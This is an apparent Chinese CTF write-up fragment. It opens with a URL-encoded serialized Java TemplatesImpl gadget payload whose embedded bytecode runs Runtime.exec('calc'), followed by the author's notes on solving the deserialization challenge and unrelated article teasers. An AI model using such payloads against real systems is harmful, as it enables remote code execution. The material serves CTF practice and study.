BkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP%2F%2F%2F%2F91cgADW1tCS%2F0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABmMr%2Bur4AAAA0ABsBAARldmlsBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAFgEABjxpbml0PgwAGAAICgAXABkAIQACABcAAAAAAAIACAAHAAgAAQAJAAAAFgACAAAAAAAKuAAPEhG2ABVXsQAAAAAAAQAYAAgAAQAJAAAAEQABAAEAAAAFKrcAGrEAAAAAAAEABQAAAAIABnB0AAdQaGFudG9tcHcBAHhxAH4ADXEAfgANdAABYXg%3D

这道题我从比赛结束后当天晚上都开始研究了,一开始我是准备用fastjson2打,当时一直做到第二天凌晨很晚也没做出来,想到早上还得去上课于是就没有继续研究了

今天放学后就开始研究,现在又打到凌晨终于出来了

最后的时候犯蠢了,在代码调试的时候unserialize(serializedData);是可以出发calc的,但是我去题目的反序列化入口打就不行,后来才发现是自己忘记给payload url编码了

其实这两道web题都一点也不难,除了最后一道反序列化,其他的漏洞本不应该找不到的,即使代码量很多,当时决赛3小时真的很不应该找不到,这些时间我甚至没有认真去翻每一个页面,当时因为紧张,线下赛断网环境思绪很乱,静不下心来慢慢找,看到这种代码量巨大的附件,居然没有勇气去认真分析,自己放弃了,全程几乎都在浪费时间。

Read more

Flutter 组件 highlighter 适配鸿蒙 HarmonyOS 实战:高性能语法高亮,构建大规模代码分析与文本染色架构

Flutter 组件 highlighter 适配鸿蒙 HarmonyOS 实战:高性能语法高亮,构建大规模代码分析与文本染色架构

欢迎加入开源鸿蒙跨平台社区:https://openharmonycrossplatform.ZEEKLOG.net Flutter 组件 highlighter 适配鸿蒙 HarmonyOS 实战:高性能语法高亮,构建大规模代码分析与文本染色架构 前言 在鸿蒙(OpenHarmony)生态迈向专业化工具链、涉及海量日志审计、在线编程教育及开发者社区分发的背景下,如何为长篇累牍的源代码实现毫秒级的语法高亮与结构化展示,已成为决定用户阅读体验与知识传递效率的“视觉分水岭”。在鸿蒙设备这类强调 AOT 极致性能与复杂文本排版(Text Layout)的环境下,如果应用依然依赖基础的正则表达式进行低效的字符匹配,由于由于解析算法的复杂性,极易由于由于“主线程阻塞”导致大型文件在滑动过程中产生严重的掉帧与视觉黏连。 我们需要一种能够支持多语言语法解析、具备词法分析(Lexing)深度且兼容 RichText 富文本输出的高性能染色方案。 highlighter 为 Flutter 开发者引入了基于标准词法字典的语法高亮引擎。它不仅能精准识别不同编程语言的关键字、操作符与注释,更利

By Ne0inhk
SpringAI 大模型应用开发篇-SpringAI 项目的新手入门知识

SpringAI 大模型应用开发篇-SpringAI 项目的新手入门知识

🔥博客主页: 【小扳_-ZEEKLOG博客】 ❤感谢大家点赞👍收藏⭐评论✍ 文章目录         1.0 SpringAI 概述         1.1 大模型的使用         2.0 SpringAI 新手入门         2.1 配置 pom.xml 文件         2.2 配置 application.yaml 文件         2.3 配置 ChatClient         2.4 同步调用         2.5 流式调用         2.6 System 设定         2.7 日志功能         2.8 会话记忆功能

By Ne0inhk

有了AI,还需要学Springboot吗?

一、结论先明确:非常有必要学 SpringBoot,AI 是 “助手” 而非 “替代者” AI(比如 Copilot、通义灵码、ChatGPT)确实能大幅提升开发效率,但它无法替代你对 SpringBoot 核心原理和工程化思想的掌握,原因主要有以下几点: 1. AI 是 “工具”,但你需要判断 AI 输出的 “对错” 和 “优劣” * AI 能帮你生成 SpringBoot 的基础代码(比如写一个接口、配置数据源),但它无法保证代码的正确性、安全性、性能,也不懂你项目的业务场景和架构设计。比如:AI 可能生成有漏洞的接口(未做参数校验)、不合理的配置(连接池参数设置错误),如果不懂 SpringBoot 的核心原理,你甚至无法发现这些问题,更无法修正。

By Ne0inhk
【终极对决】Kafka vs RabbitMQ:深入剖析消息中间件双雄,附选型指南与代码实战

【终极对决】Kafka vs RabbitMQ:深入剖析消息中间件双雄,附选型指南与代码实战

个人名片 🎓作者简介:java领域优质创作者 🌐个人主页:码农阿豪 📞工作室:新空间代码工作室(提供各种软件服务) 💌个人邮箱:[[email protected]] 📱个人微信:15279484656 🌐个人导航网站:www.forff.top 💡座右铭:总有人要赢。为什么不能是我呢? * 专栏导航: 码农阿豪系列专栏导航 面试专栏:收集了java相关高频面试题,面试实战总结🍻🎉🖥️ Spring5系列专栏:整理了Spring5重要知识点与实战演练,有案例可直接使用🚀🔧💻 Redis专栏:Redis从零到一学习分享,经验总结,案例实战💐📝💡 全栈系列专栏:海纳百川有容乃大,可能你想要的东西里面都有🤸🌱🚀 目录 * 【终极对决】Kafka vs RabbitMQ:深入剖析消息中间件双雄,附选型指南与代码实战 * 一、核心概念与架构模型图解:两种不同的设计哲学 * RabbitMQ:精密的“路由引擎” * Kafka:

By Ne0inhk